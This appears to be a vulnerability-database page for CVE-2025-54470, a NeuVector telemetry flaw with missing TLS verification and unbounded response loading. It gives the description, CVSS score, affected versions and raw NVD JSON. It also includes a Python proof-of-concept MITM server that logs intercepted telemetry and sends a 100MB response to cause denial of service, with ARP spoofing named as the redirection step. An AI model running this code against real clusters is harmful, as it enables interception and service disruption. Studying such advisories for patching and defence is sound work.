Security Vulnerability Report
中文
CVE-2025-54470 CVSS 8.6 HIGH

CVE-2025-54470

Published: 2025-10-30 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

This vulnerability affects NeuVector deployments only when the Report anonymous cluster data option is enabled. When this option is enabled, NeuVector sends anonymous telemetry data to the telemetry server. In affected versions, NeuVector does not enforce TLS certificate verification when transmitting anonymous cluster data to the telemetry server. As a result, the communication channel is susceptible to man-in-the-middle (MITM) attacks, where an attacker could intercept or modify the transmitted data. Additionally, NeuVector loads the response of the telemetry server is loaded into memory without size limitation, which makes it vulnerable to a Denial of Service(DoS) attack

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

NeuVector < 5.3.2
NeuVector < 5.2.4
NeuVector < 5.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54470 PoC - MITM Attack on NeuVector Telemetry # This PoC demonstrates TLS verification bypass in NeuVector telemetry import socket import ssl import threading from http.server import HTTPServer, BaseHTTPRequestHandler class TelemetryMITMHandler(BaseHTTPRequestHandler): def do_POST(self): # Log intercepted telemetry data content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) print(f"[+] Intercepted telemetry data: {len(post_data)} bytes") # Send oversized response for DoS oversized_response = b'X' * (100 * 1024 * 1024) # 100MB response self.send_response(200) self.send_header('Content-Type', 'application/json') self.send_header('Content-Length', str(len(oversized_response))) self.end_headers() self.wfile.write(oversized_response) def log_message(self, format, *args): pass def start_mitm_proxy(listen_port=8443): server = HTTPServer(('0.0.0.0', listen_port), TelemetryMITMHandler) print(f"[*] MITM proxy listening on port {listen_port}") server.serve_forever() # Usage: # 1. Position attacker machine in network path to telemetry server # 2. Redirect traffic to this MITM proxy (via ARP spoofing, etc.) # 3. NeuVector will send telemetry without TLS verification

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54470", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:35.257", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability affects NeuVector deployments only when the Report anonymous cluster data option is enabled. When this option is enabled, NeuVector sends anonymous telemetry data to the telemetry server.\n\n\nIn affected versions, NeuVector does not enforce TLS \ncertificate verification when transmitting anonymous cluster data to the\n telemetry server. As a result, the communication channel is susceptible\n to man-in-the-middle (MITM) attacks, where an attacker could intercept \nor modify the transmitted data. Additionally, NeuVector loads the \nresponse of the telemetry server is loaded into memory without size \nlimitation, which makes it vulnerable to a Denial of Service(DoS) \nattack"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54470", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-qqj3-g7mx-5p4w", "source": "[email protected]"}]}}